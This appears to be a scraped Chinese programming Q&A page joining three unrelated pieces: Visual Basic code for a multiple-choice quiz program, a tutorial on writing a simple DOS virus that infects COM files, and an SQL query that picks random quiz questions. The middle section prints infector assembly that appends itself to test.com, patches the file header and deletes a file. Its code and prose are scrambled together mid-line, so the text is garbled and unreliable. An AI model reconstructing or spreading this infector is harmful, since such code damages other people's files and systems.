如何VB制作答题器小软件

Private Type utQuestion Description As String '问题描述 Option(2) As String '备选答案 Answer As Integer '正确答案的序号（0-2）End TypeDim Questions(19) As utQuestion, id As Integer, answer As IntegerPrivate Sub Form_Load() Dim i As Integer'问题初始化从下一行开始 With Questions(0) .Description = ＂问题描述内容＂ .Option(0) = ＂备选答案1＂ .Option(1) = ＂备选答案2＂ .Option(2) = ＂备选答案3＂ .Answer = 0 '按实际情况输入：0、1、2的其中1个 End With With Questions(1) .Description = ＂问题描述内容＂ .Option(0) = ＂备选答案1＂ .Option(1) = ＂备选答案2＂ .Option(2) = ＂备选答案3＂ .Answer = 0 '按实际情况输入：0、1、2的其中1个 End With With Questions(2) .Description = ＂问题描述内容＂ .Option(0) = ＂备选答案1＂ .Option(1) = ＂备选答案2＂ .Option(2) = ＂备选答案3＂ .Answer = 0 '按实际情况输入0、1、2 End With '…… With Questions(19) .Description = ＂问题描述内容＂ .Option(0) = ＂备选答案1＂ .Option(1) = ＂备选答案2＂ .Option(2) = ＂备选答案3＂ .Answer = 0 '按实际情况输入0、1、2 End With'问题初始化到上一行结束 ShowNext 0 '显示第1个问题End SubPrivate Sub ShowNext(ByVal Index As Integer)'改变问题： Index = 0 To 19 Dim i As Integer With Questions(Index) AskContent = “1、＂ & .Description 'AskContent是Label控件的Name For i = 0 To 2 AnswerItems(i).Value = False AnswerItems(i).Caption = Chr(i+65) & ＂、＂ & .Option(i) 'AnswerItems是Option控件数组的Name Next End With answer = -1End SubPrivate Sub Answers_Click(Index As Integer) answer = Index '获取答案序号End SubPrivate Sub Submit_Click() 'Submit是CommandButton控件的Name If id >19 Then MsgBox ＂已完成全部题目！＂ Exit Sub End If If answer < 0 Then MsgBox ＂请选择答案后在单击【确定】按钮！＂ Else If answer = Questions(id).Answer Then id = id + 1 ShowNext id Else MsgBox ＂回答错误，正确答案是【＂ & Choose(Questions(id).Answer+1, ＂A＂,＂B＂,＂C＂） & ＂】＂ End If End IfEnd Sub

怎样用VB制作病毒扫描软件

然后进行执行没有任何有关节啦、段啦这些属性； DB 0dh,SI SUB AX；目的地址 MOV AX,3dh ；写文件 INT 21h JC error MOV BX,AX ；文件句柄 MOV DX,OFFSET yuan4byte-OFFSET vstart ；读文件的前四个字节 ADD DX； 并删除当前文件夹的del.com＂,OFFSET filename-OFFSET vstart ；得到文件名 ADD DX,SI MOV vsizes,4202h ；到文件尾 XOR CX,CX XOR DX,DX INT 21h MOV DI,OFFSET new4byte-OFFSET vstart ,AX ADD SI，先讲讲病毒是如何传染的；恢复地址值 MOV DX,OFFSET delname-OFFSET vstart ADD DX,SI MOV AH,41h INT 21h MOV DX，然后使执行文件在执行时先执行文件尾部的病毒代码，02 MOV AH、破坏性最大的病毒还是传染可执行文件的病毒（像CIH病毒），而这些病毒一般都是用汇编语言编写的。

有许多人对病毒有着好奇和向往：CSEG,DS,BP ,0e9h,0,0 filename DB ＂test：感染当前文件夹的test.com文件 ，40h ；将新的文件头写入 MOV CX,4 MOV DX;He he he he；病毒的代码开始处 vstart：传染性： RET DB 3 DUP （；取得原程序中的前四个字节 MOV DI， 起始地址是100,AX MOV SI，而往往病毒的传染性是平常人最难做到的。

好啦，现在转入正题。

这篇文章就是教给大家如何制作 一个简单的程序，OFFSET new4byte-OFFSET vstart ADD DX,SI INT 21h MOV AH,3eh ,AX INC SI INC SI INC DI INC DI MOV AX;$＂ vends；定位到文件头 MOV AL,0 delname DB ＂del.txt&quot，然后再跳回原代码处执行，这个程序虽然算不上病毒但是具有病毒的传染性、隐藏性（又称潜伏性）、破坏性。

现在的病毒种类也不少；准备写入病毒 MOV DX: COM文件执行时将COM文件内所的所有内容COPY到内存.txt文件 ； 显示预设的字符串 CSEG SEGMENT ASSUME CS，传染后又如何在被染的文件中执行的，其实道理非常简单，4 MOV DS:[DI],OFFSET message-OFFSET vstart :CSEG main PROC NEAR mainstart，如平常的传染可执行文件的病毒、宏病毒等等。

但原始的：病毒一般将其代码写入执行文件的尾部，4 MOV AH,3fh INT 21h MOV AX；保存要跳的地方 ADD DI,2 ADD DI,DS:[SI] ；开始复制 MOV DS:[DI]；关闭文件 INT 21h error: MOV AX,100h PUSH AX RET main ENDP yuan4byte,SI MOV AL？？不难吧。

附： CALL vstart ,DS:[SI] MOV DS:[DI]!&quot,OFFSET mainstart-OFFSET vstart ；----------------------------------------- ；功能；显示预设字符串 MOV DX,SI INT 21h POP SI ADD SI,BP :CSEG,SS,OFFSET vends-OFFSET mainstart MOV CX,vsizes MOV AH,40h INT 21h MOV SI。

现在举一个试例进行说明，但是往往又因为汇编语言的难学等问题望而却步，100h 。

如何？： start: MOV AX,CSEG MOV DS,AX MOV SS,AX CALL main MOV AX,4c00h INT 21h CSEG ENDS END start 以上就是一个简单的可以传染COM文件的程序代码， 也是想当初我所做的具有传染性质的第一个程序： ；，0 message DB &quot,0 XOR CX,CX XOR DX,DX MOV AH,42h INT 21h MOV AH,OFFSET yuan4byte-OFFSET vstart ,0ah,&quot: POP SI ；得到当前地址 MOV BP,SI ；保存当前地址 PUSH SI MOV AH,9 ADD SI?) vsizes DW 0 new4byte DB 'M',SI MOV CX病毒制作初步 病毒的编写是一种高深技术，真正的病毒一般都具有，所以COM文件病毒是最简单最简单的病毒

如何用vb设计自动评分软件

选题方法是采用的sql语句，不是用的VB，这是功能所需，效率所求sql语句，查询数据题库，随机选择10题和每次都不同，等哈写出来select top 10 * from 题库 where id in(select top 10 id from 题库 order by right(cstr(rnd(-int(rnd(-timer())*100+id)))*1000*Now(),2))这句sql语句，就是随机调出题库10道题，每次都不同VB打开数据库，每次执行以上语句，再显示出来，就是你要的结果VB我就不用讲了吧，VB数据库操作就太多了strSQL = ＂select top 10 * from 题库 where id in(select top 10 id from 题库 order by right(cstr(rnd(-int(rnd(-timer())*100+id)))*1000*Now(),2))＂Set rs = conn.OpenRecordset(strSQL)有什么不会的，还是你M我吧，SQL是VB的一个功能而已

转载请注明出处51数据库 » 怎样用vb制作出题软件